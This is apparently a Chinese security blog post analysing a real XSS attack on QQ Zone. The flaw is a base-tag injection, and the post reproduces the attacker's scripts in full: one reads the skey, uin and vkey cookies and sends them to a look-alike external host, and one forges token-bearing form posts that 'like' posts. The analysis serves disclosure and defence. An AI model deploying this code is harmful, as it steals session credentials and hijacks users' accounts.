qq空间某被利用的xss分析
今天听说有些人在点击了几个花千骨的广告视频后,自己的qq空间里面就被莫名其妙的分享了一些广告,还自动添加了好友。
怀疑是qq空间的xss或者csrf。在对那几个视频页面进行分析后没有发现什么可疑的代码,后来在模拟了qq手机版的ua,清除了cookies,然后更换了ip后终于复现了这个问题。
这个域名是不是很可疑?我开始怀疑是腾讯的合作伙伴的js被篡改了,但是点看这个php,它的内容是
1document.getElementById("footad").src="http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin="+rndNum(9)+"&blogid=12"+rndNum(8)+"&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid="+window.vid;
2function rndNum(len){
3 if(len && len>0 && len<100){}else{len=32;}
4 var strs="123456789";
5 var maxPos=strs.length;
6 var rdstr="";
7 for(i=0;i<len;i++){
8 rdstr+=strs.charAt(Math.floor(Math.random() * maxPos));
9 }
10return rdstr;
11}
12
13if(cookieRead){
14 var dor=cookieRead("adplay");
15 if(dor && dor>0){
16 //;
17 }else{
18 cookie_set("adplay",99);
19 }
20}
对http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin=842362834&blogid=1268155622&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid=19
发起一个请求,当然里面有几个参数的随机生成的。
打开这个url,查看源代码,漏洞就是很明显的了。
base标签里面抹掉的那个域名和url里面的抹掉的那个域名是一样的,典型的xss漏洞。因为base标签是可以改变下面的相对路径的,比如html在qq.com域下,而base里面是baidu.com,那么下面的<script src="1.js"></script>
就会访问baidu.com/1.js,而不是qq.com/1.js,导致xss漏洞。而我发现这个地方腾讯其实是有过滤的,因为url里面直接使用xxx.com是不可以的,必须是xxx.com/cache.qq.com才行,但是这样的过滤并没有什么卵用。
这个embeded.js
的内容是
1try{document.domain="qq.com";}catch(e){}
2function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return ""}}
3
4function cookie_set(key,value){
5 var Then=new Date();
6 Then.setTime(Then.getTime()+7*24*60*60*1000);
7 document.cookie=key+"="+value+"; path=/;expires="+Then.toGMTString();
8}
9
10function getQueryString(name) {
11 var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
12 var r = window.location.search.substr(1).match(reg);
13 if (r != null) return unescape(r[2]); return "";
14}
15
16var dor=cookieRead("qsdone");
17if(dor && dor>0){
18 //document.location="about:blank";
19}else{
20 cookie_set("qsdone",99);
21 window.onload=iframe_add;
22}
23
24
25
26function iframe_add(){tjskey();
27 var eframe;
28 try{
29 var isie=window.navigator.appName.toUpperCase().indexOf("MICROSOFT")>=0;
30 eframe = document.createElement(isie? "<iframe name='xframe'>":"iframe");
31 }catch(e){}
32 try{
33 if(!eframe){eframe = document.createElement("iframe");}
34 eframe.id = "xframe";
35 eframe.name = "xframe";
36 eframe.width="0px";
37 eframe.height="0px";
38 eframe.scrolling="no";
39 eframe.setAttribute("frameborder", "0", 0);
40 eframe.src="http://b.qzone.qq.com/proxy.html?r=0.1436745170";
41 if(eframe.attachEvent){
42 eframe.attachEvent("onload",iframe_addjs);
43 } else {
44 eframe.onload=iframe_addjs;
45 }
46 document.body.appendChild(eframe);
47 }catch(e){}
48}
49
50
51function iframe_addjs(){
52 var xdoc;
53 if(!xdoc){try{xdoc=document.frames["xframe"].contentWindow.document;}catch(e){}}
54 if(!xdoc){try{xdoc=document.frames["xframe"].document;}catch(e){}}
55 if(!xdoc){try{xdoc=document.getElementById("xframe").contentWindow.document;}catch(e){}}
56 if(xdoc){
57 var xjs=xdoc.createElement("script");
58 xjs.src="http://imgcoche.qq.xxxx.com/qq/getmore.php?r="+Math.random()+"&type=img.jpg";
59 xjs.type="text/javascript";
60 try{xdoc.getElementsByTagName('head')[0].appendChild(xjs);}catch(e){}
61 }
62}
63
64function tjskey(){
65
66 var eimg;
67 eimg = document.createElement("img");
68 eimg.width="0px";
69 eimg.height="0px";
70 var myskey=cookieRead("skey");
71 var myqq=parseInt(cookieRead("uin").replace("o",""));
72 var vkey=cookieRead("vkey");
73 //if(myqq>500 && vkey.length>10){
74 if(myqq>500){
75 eimg.src="http://imgcoche.qq.xxxx.com/qq/c.php?u="+myqq+"&s="+myskey+"&v="+vkey+"&f="+getQueryString("vid");
76 document.body.appendChild(eimg);
77 }
78 }
在window.onload的时候读取cookies中的qq,key和skey等,发送到后台。
然后判断浏览器,创建一个iframe,src是http://b.qzone.qq.com/proxy.html
,然后在这个页面写入js,地址是http://imgcoche.qq.xxxx.com/qq/getmore.php?r="+Math.random()+"&type=img.jpg";
。这个js的内容是
1var xqq="19111xxxxx";
2
3
4var g_skey=cookieRead("skey");
5var g_tk;
6if(g_skey && g_skey.length>1){
7 g_tk=getGTK(g_skey);
8 var g_vuin=parseInt(cookieRead("uin").replace("o",""));
9 var g_ie=myisIE();
10 var g_sender;
11 add_form();
12}
13
14
15function getGTK(str){
16 var hash = 5381;
17 for(var i = 0, len = str.length; i < len; ++i){
18 hash += (hash << 5) + str.charAt(i).charCodeAt();
19 }
20 return hash & 0x7fffffff;
21}
22function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return null}}
23
24function myisIE(){
25 if (!!window.ActiveXObject || "ActiveXObject" in window)
26 return true;
27 else
28 return false;
29}
30
31
32function add_form(){
33 var ie=g_ie;
34 try{g_sender = document.createElement(ie? "<iframe name='p'>":"iframe");}catch(e){}
35 try{
36 if(!g_sender){g_sender = document.createElement("iframe");}
37 g_sender.id = "p";
38 g_sender.name = "p";
39 g_sender.width="1px";
40 g_sender.height="1px";
41 g_sender.scrolling="no";
42 g_sender.setAttribute("frameborder", "0", 0);
43 if(g_sender.attachEvent){
44 g_sender.attachEvent("onload",sender_addjs);
45 } else {
46 g_sender.onload=sender_addjs;
47 }
48 document.body.appendChild(g_sender);
49 }catch(e){}
50}
51
52function sender_addjs(){
53 if(!window.oncepost){
54 var uri="http://w.qzone.qq.com/cgi-bin/likes/doLike";
55 var refer="http://user.qzone.qq.com/"+g_vuin;
56 var ie=g_ie;
57
58 var ifrHTML='<!DOCTYPE html><html lang="zh-cn"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta charset="utf-8" />';
59 ifrHTML=ifrHTML+'<script type="text/javascript">'+(ie&&'document.charset="utf-8"'||"")+';document.domain="qq.com";frameElement.submited=void(0);frameElement.state="sending";<\/script></head><body>';
60 ifrHTML=ifrHTML+'<form action="'+uri+(uri.indexOf("?")>-1?"&":"?")+"g_tk="+g_tk+'" accept-charset="utf-8" enctype="application/x-www-form-urlencoded;charset=utf-8" method="post">';
61 ifrHTML=ifrHTML+'<input type="hidden" name="qzreferrer" id="qzreferrer" value='+refer+'/>';
62 ifrHTML=ifrHTML+'<input type="hidden" name="url" id="url" value='+refer+'/>';
63 ifrHTML=ifrHTML+'<input type="hidden" name="cid" id="ouin" value="'+xqq+'" />';
64 ifrHTML=ifrHTML+'<input type="hidden" name="from" id="from" value="brand" />';
65 ifrHTML=ifrHTML+'<input type="hidden" name="scene" id="scene" value="5" />';
66 ifrHTML=ifrHTML+'<input type="hidden" name="fupdate" id="fupdate" value="0" />';
67 ifrHTML=ifrHTML+'</form><script type="text/javascript">try{var f=document.getElementById("p");f.submit();}catch(e){}<\/script></body></html>';
68 if(!ie){
69 var d=g_sender.contentDocument||g_sender.contentWindow.document;
70 if(d){
71 d.open();
72 d.write(ifrHTML);
73 d.close();
74 }
75 }
76 window.oncepost=1;
77 }
78}
动态创建了一个form,然后post数据,看url是赞了一下某个说说,反正植入js后一切就好办了~~
还有一个加好友的就是无法复现了